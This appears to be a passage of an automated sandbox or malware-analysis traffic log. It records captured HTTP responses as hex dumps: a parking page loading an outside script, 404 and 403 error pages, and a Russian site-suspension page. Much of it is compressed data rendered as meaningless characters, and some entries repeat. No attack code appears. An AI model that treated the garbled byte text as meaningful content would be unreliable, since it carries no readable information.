20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6e 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 69 64 3d 22 73 6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Fri, 08 Dec 2023 13:50:34 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Fri, 08 Dec 2023 13:50:37 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Fri, 08 Dec 2023 13:50:40 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Fri, 08 Dec 2023 13:50:42 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 08 Dec 2023 13:51:02 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"64f9f107-377d8"Content-Encoding: gzipData Raw: 36 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd ef 8e db 48 b2 2f f8 7d 9e 42 a5 83 b6 a5 31 a5 e2 7f 52 92 e9 9a 9e 1e f7 99 c6 99 9e 6e 8c fb f4 60 51 63 08 2c 89 2a b1 4d 89 ba 24 55 e5 72 b9 0e ee dd 27 d9 af fb ed ec 05 16 d8 c5 ee de 05 f6 09 e6 bc d1 46 44 92 14 ff 4a 49 51 e5 6a fb 4c 75 5b a2 c8 cc 88 cc c8 c8 c8 5f 44 06 c9 97 67 73 7f 16 dd 6d 9c ce 32 5a 79 af 5e e2 67 c7 b3 d7 d7 56 d7 59 77 e1 b7 63 cf 5f bd 5c 39 91 dd 99 2d ed 20 74 22 ab fb af 3f 7d 3b 30 e1 5a e4 46 9e f3 ea ef ff cb df ff fd ef ff db df ff c7 7f fc cf 7f ff f7 ce 7f fc 37 f8 f1 7f d2 e1 df ff fb 7f fc d7 bf ff ef 7f ff bf e1 df ff 03 ff fd 8f ce df ff 5f 38 f1 7f 40 c1 ff 86 d7 f1 d4 df ff fb df ff 2f ba fc ef 2f cf 19 b1 97 61 74 e7 39 9d 95 33 77 6d ab 6b 7b 5e f7 d5 f9 6f cf 7e fb b9 ff 9d fd f6 6f bf e9 74 b0 1f 9d 59 18 76 86 e7 6b 7f ee 4c 57 fe 7c eb 39 e1 39 9c 1a 78 be 3d 77 82 73 77 3d 77 de 0f 7f 09 2f 2e 66 9e bf 76 e6 7f 81 02 6f 9c 68 a0 0f b7 a1 73 29 bd 3d 2b 54 dd f8 61 94 a9 1e 06 b3 94 44 b1 28 fc 4b cb cd dd 30 3a 9f fd 12 b2 62 57 ce ea fc ca f3 67 ef c2 a1 3d b7 37 91 7b e3 9c 5f 0d 36 f6 75 f2 35 c4 ba 1d ec 07 f4 e2 6f 4f 2d cc d6 7f e7 bf 19 b2 7e dd 83 1c 36 9e 7d 37 5e 78 ce fb 09 7e 0c e6 6e e0 cc 22 d7 5f 8f 67 be b7 5d ad 27 b7 ee 3c 5a 8e 25 51 fc 6a b2 72 d7 03 f6 53 91 c5 cd fb c9 d2 71 af 97 11 bb b6 b1 e7 73 77 7d 3d d6 8c cd fb 8e d8 11 27 2b 3b b8 76 d7 63 71 02 74 fc 60 fc 4f 8a ae c2 ff 93 85 bf 86 1a 32 14 fa 6e 1d 39 81 f0 75 e0 da 9e f0 47 c7 bb 71 22 77 66 77 fe ec 6c 9d dd 4f e1 db c0 71 de d8 eb 50 08 e1 63 10 3a 81 bb 98 5c d9 b3 77 d7 81 bf 5d cf c7 ff b4 58 2c 26 83 5b e7 ea 9d 1b 0d 22 7b 33 58 42 8b 3c 6c d5 80 b1 8d 02 a8 b7 b1 03 67 1d 3d e0 d4 1e af fd a8 37 74 c3 69 32 d0 fd 4e 22 0b ff c6 09 16 9e 7f 3b 78 3f 5e ba f3 b9 b3 7e f8 1d 4d c3 4e 6f d7 6f 49 94 d5 cd fb fe 7d 96 c2 1e 02 0f f1 a5 29 1a 98 29 34 e3 1d 88 e8 1e c9 ed 44 77 b3 cc 97 72 82 c0 0f 18 c1 44 a6 e2 81 a6 4f 57 ce 7a 3b c0 c2 38 70 70 7d ee cc 85 e6 55 06 f6 0c cb 24 6c 07 91 bf 01 d6 cd 84 50 45 b7 40 f0 a1 61 13 24 d4 b5 13 34 a3 ba 7b 87 b4 22 57 3a 33 03 46 23 1d 5a 75 40 c8 70 c5 5d dc 0d ae 02 ff 16 54 77 7a e3 86 ee 95 97 a7 a9 a9 8d 3b 77 a0 4d 95 f2 e0 6d c9 6e 70 fc 2b d7 73 06 89 4e 4f 99 46 0b c9 e5 70 7b 85 22 9e fa 1b 07 ac 74 aa fa 89 e2 1f 90 cb 74 e1 fb 30 f9 07 73 ff 76 7d 50 51 ab 1b 72 a0 56 5d fb e2 8e 37 55 a7 43 e4 1a ab 67 65 a7 2a e8 0e dd dd b0 27 c6 9a 96 aa 87 2a 59 de a3 09 1f 4b 60 7f ed 6d e4 4f 8a a3 92 21 96 af 96 b7 48 5f 35 ed 4d 8e 56 45 1f 2a 8a 4d d3 ae 27 aa 58 aa 57 ac 06 9d a8 66 09 a6 1e 96 92 75 94 6a f3 95 1f 45 fe 0a 26 77 1d 09 f6 33 15 e8 1a 90 c6 ae 6c 4c 6d 70 1b d8 9b 0d 94 4a 16 32 92 69 6d b1 29 01 b7 29 82 8f 4c 4b 02 92 29 8a 2e 59 20 07 9e b3 60 67 f8
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 08 Dec 2023 13:51:05 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"64f9f107-377d8"Content-Encoding: gzipData Raw: 36 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd ef 8e db 48 b2 2f f8 7d 9e 42 a5 83 b6 a5 31 a5 e2 7f 52 92 e9 9a 9e 1e f7 99 c6 99 9e 6e 8c fb f4 60 51 63 08 2c 89 2a b1 4d 89 ba 24 55 e5 72 b9 0e ee dd 27 d9 af fb ed ec 05 16 d8 c5 ee de 05 f6 09 e6 bc d1 46 44 92 14 ff 4a 49 51 e5 6a fb 4c 75 5b a2 c8 cc 88 cc c8 c8 c8 5f 44 06 c9 97 67 73 7f 16 dd 6d 9c ce 32 5a 79 af 5e e2 67 c7 b3 d7 d7 56 d7 59 77 e1 b7 63 cf 5f bd 5c 39 91 dd 99 2d ed 20 74 22 ab fb af 3f 7d 3b 30 e1 5a e4 46 9e f3 ea ef ff cb df ff fd ef ff db df ff c7 7f fc cf 7f ff f7 ce 7f fc 37 f8 f1 7f d2 e1 df ff fb 7f fc d7 bf ff ef 7f ff bf e1 df ff 03 ff fd 8f ce df ff 5f 38 f1 7f 40 c1 ff 86 d7 f1 d4 df ff fb df ff 2f ba fc ef 2f cf 19 b1 97 61 74 e7 39 9d 95 33 77 6d ab 6b 7b 5e f7 d5 f9 6f cf 7e fb b9 ff 9d fd f6 6f bf e9 74 b0 1f 9d 59 18 76 86 e7 6b 7f ee 4c 57 fe 7c eb 39 e1 39 9c 1a 78 be 3d 77 82 73 77 3d 77 de 0f 7f 09 2f 2e 66 9e bf 76 e6 7f 81 02 6f 9c 68 a0 0f b7 a1 73 29 bd 3d 2b 54 dd f8 61 94 a9 1e 06 b3 94 44 b1 28 fc 4b cb cd dd 30 3a 9f fd 12 b2 62 57 ce ea fc ca f3 67 ef c2 a1 3d b7 37 91 7b e3 9c 5f 0d 36 f6 75 f2 35 c4 ba 1d ec 07 f4 e2 6f 4f 2d cc d6 7f e7 bf 19 b2 7e dd 83 1c 36 9e 7d 37 5e 78 ce fb 09 7e 0c e6 6e e0 cc 22 d7 5f 8f 67 be b7 5d ad 27 b7 ee 3c 5a 8e 25 51 fc 6a b2 72 d7 03 f6 53 91 c5 cd fb c9 d2 71 af 97 11 bb b6 b1 e7 73 77 7d 3d d6 8c cd fb 8e d8 11 27 2b 3b b8 76 d7 63 71 02 74 fc 60 fc 4f 8a ae c2 ff 93 85 bf 86 1a 32 14 fa 6e 1d 39 81 f0 75 e0 da 9e f0 47 c7 bb 71 22 77 66 77 fe ec 6c 9d dd 4f e1 db c0 71 de d8 eb 50 08 e1 63 10 3a 81 bb 98 5c d9 b3 77 d7 81 bf 5d cf c7 ff b4 58 2c 26 83 5b e7 ea 9d 1b 0d 22 7b 33 58 42 8b 3c 6c d5 80 b1 8d 02 a8 b7 b1 03 67 1d 3d e0 d4 1e af fd a8 37 74 c3 69 32 d0 fd 4e 22 0b ff c6 09 16 9e 7f 3b 78 3f 5e ba f3 b9 b3 7e f8 1d 4d c3 4e 6f d7 6f 49 94 d5 cd fb fe 7d 96 c2 1e 02 0f f1 a5 29 1a 98 29 34 e3 1d 88 e8 1e c9 ed 44 77 b3 cc 97 72 82 c0 0f 18 c1 44 a6 e2 81 a6 4f 57 ce 7a 3b c0 c2 38 70 70 7d ee cc 85 e6 55 06 f6 0c cb 24 6c 07 91 bf 01 d6 cd 84 50 45 b7 40 f0 a1 61 13 24 d4 b5 13 34 a3 ba 7b 87 b4 22 57 3a 33 03 46 23 1d 5a 75 40 c8 70 c5 5d dc 0d ae 02 ff 16 54 77 7a e3 86 ee 95 97 a7 a9 a9 8d 3b 77 a0 4d 95 f2 e0 6d c9 6e 70 fc 2b d7 73 06 89 4e 4f 99 46 0b c9 e5 70 7b 85 22 9e fa 1b 07 ac 74 aa fa 89 e2 1f 90 cb 74 e1 fb 30 f9 07 73 ff 76 7d 50 51 ab 1b 72 a0 56 5d fb e2 8e 37 55 a7 43 e4 1a ab 67 65 a7 2a e8 0e dd dd b0 27 c6 9a 96 aa 87 2a 59 de a3 09 1f 4b 60 7f ed 6d e4 4f 8a a3 92 21 96 af 96 b7 48 5f 35 ed 4d 8e 56 45 1f 2a 8a 4d d3 ae 27 aa 58 aa 57 ac 06 9d a8 66 09 a6 1e 96 92 75 94 6a f3 95 1f 45 fe 0a 26 77 1d 09 f6 33 15 e8 1a 90 c6 ae 6c 4c 6d 70 1b d8 9b 0d 94 4a 16 32 92 69 6d b1 29 01 b7 29 82 8f 4c 4b 02 92 29 8a 2e 59 20 07 9e b3 60 67 f8
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 08 Dec 2023 13:51:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"64f9f107-377d8"Content-Encoding: gzipData Raw: 36 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd ef 8e db 48 b2 2f f8 7d 9e 42 a5 83 b6 a5 31 a5 e2 7f 52 92 e9 9a 9e 1e f7 99 c6 99 9e 6e 8c fb f4 60 51 63 08 2c 89 2a b1 4d 89 ba 24 55 e5 72 b9 0e ee dd 27 d9 af fb ed ec 05 16 d8 c5 ee de 05 f6 09 e6 bc d1 46 44 92 14 ff 4a 49 51 e5 6a fb 4c 75 5b a2 c8 cc 88 cc c8 c8 c8 5f 44 06 c9 97 67 73 7f 16 dd 6d 9c ce 32 5a 79 af 5e e2 67 c7 b3 d7 d7 56 d7 59 77 e1 b7 63 cf 5f bd 5c 39 91 dd 99 2d ed 20 74 22 ab fb af 3f 7d 3b 30 e1 5a e4 46 9e f3 ea ef ff cb df ff fd ef ff db df ff c7 7f fc cf 7f ff f7 ce 7f fc 37 f8 f1 7f d2 e1 df ff fb 7f fc d7 bf ff ef 7f ff bf e1 df ff 03 ff fd 8f ce df ff 5f 38 f1 7f 40 c1 ff 86 d7 f1 d4 df ff fb df ff 2f ba fc ef 2f cf 19 b1 97 61 74 e7 39 9d 95 33 77 6d ab 6b 7b 5e f7 d5 f9 6f cf 7e fb b9 ff 9d fd f6 6f bf e9 74 b0 1f 9d 59 18 76 86 e7 6b 7f ee 4c 57 fe 7c eb 39 e1 39 9c 1a 78 be 3d 77 82 73 77 3d 77 de 0f 7f 09 2f 2e 66 9e bf 76 e6 7f 81 02 6f 9c 68 a0 0f b7 a1 73 29 bd 3d 2b 54 dd f8 61 94 a9 1e 06 b3 94 44 b1 28 fc 4b cb cd dd 30 3a 9f fd 12 b2 62 57 ce ea fc ca f3 67 ef c2 a1 3d b7 37 91 7b e3 9c 5f 0d 36 f6 75 f2 35 c4 ba 1d ec 07 f4 e2 6f 4f 2d cc d6 7f e7 bf 19 b2 7e dd 83 1c 36 9e 7d 37 5e 78 ce fb 09 7e 0c e6 6e e0 cc 22 d7 5f 8f 67 be b7 5d ad 27 b7 ee 3c 5a 8e 25 51 fc 6a b2 72 d7 03 f6 53 91 c5 cd fb c9 d2 71 af 97 11 bb b6 b1 e7 73 77 7d 3d d6 8c cd fb 8e d8 11 27 2b 3b b8 76 d7 63 71 02 74 fc 60 fc 4f 8a ae c2 ff 93 85 bf 86 1a 32 14 fa 6e 1d 39 81 f0 75 e0 da 9e f0 47 c7 bb 71 22 77 66 77 fe ec 6c 9d dd 4f e1 db c0 71 de d8 eb 50 08 e1 63 10 3a 81 bb 98 5c d9 b3 77 d7 81 bf 5d cf c7 ff b4 58 2c 26 83 5b e7 ea 9d 1b 0d 22 7b 33 58 42 8b 3c 6c d5 80 b1 8d 02 a8 b7 b1 03 67 1d 3d e0 d4 1e af fd a8 37 74 c3 69 32 d0 fd 4e 22 0b ff c6 09 16 9e 7f 3b 78 3f 5e ba f3 b9 b3 7e f8 1d 4d c3 4e 6f d7 6f 49 94 d5 cd fb fe 7d 96 c2 1e 02 0f f1 a5 29 1a 98 29 34 e3 1d 88 e8 1e c9 ed 44 77 b3 cc 97 72 82 c0 0f 18 c1 44 a6 e2 81 a6 4f 57 ce 7a 3b c0 c2 38 70 70 7d ee cc 85 e6 55 06 f6 0c cb 24 6c 07 91 bf 01 d6 cd 84 50 45 b7 40 f0 a1 61 13 24 d4 b5 13 34 a3 ba 7b 87 b4 22 57 3a 33 03 46 23 1d 5a 75 40 c8 70 c5 5d dc 0d ae 02 ff 16 54 77 7a e3 86 ee 95 97 a7 a9 a9 8d 3b 77 a0 4d 95 f2 e0 6d c9 6e 70 fc 2b d7 73 06 89 4e 4f 99 46 0b c9 e5 70 7b 85 22 9e fa 1b 07 ac 74 aa fa 89 e2 1f 90 cb 74 e1 fb 30 f9 07 73 ff 76 7d 50 51 ab 1b 72 a0 56 5d fb e2 8e 37 55 a7 43 e4 1a ab 67 65 a7 2a e8 0e dd dd b0 27 c6 9a 96 aa 87 2a 59 de a3 09 1f 4b 60 7f ed 6d e4 4f 8a a3 92 21 96 af 96 b7 48 5f 35 ed 4d 8e 56 45 1f 2a 8a 4d d3 ae 27 aa 58 aa 57 ac 06 9d a8 66 09 a6 1e 96 92 75 94 6a f3 95 1f 45 fe 0a 26 77 1d 09 f6 33 15 e8 1a 90 c6 ae 6c 4c 6d 70 1b d8 9b 0d 94 4a 16 32 92 69 6d b1 29 01 b7 29 82 8f 4c 4b 02 92 29 8a 2e 59 20 07 9e b3 60 67 f8
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 08 Dec 2023 13:51:11 GMTContent-Type: text/htmlContent-Length: 227288Connection: closeVary: Accept-EncodingETag: "64f9f107-377d8"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e d0 a0 d0 b0 d0 b1 d0 be d1 82 d0 b0 20 d1 81 d0 b0 d0 b9 d1 82 d0 b0 20 d0 b2 d1 80 d0 b5 d0 bc d0 b5 d0 bd d0 bd d0 be 20 d0 bf d1 80 d0 b8 d0 be d1 81 d1 82 d0 b0 d0 bd d0 be d0 b2 d0 bb d0 b5 d0 bd d0 b0 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2f 2a 21 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 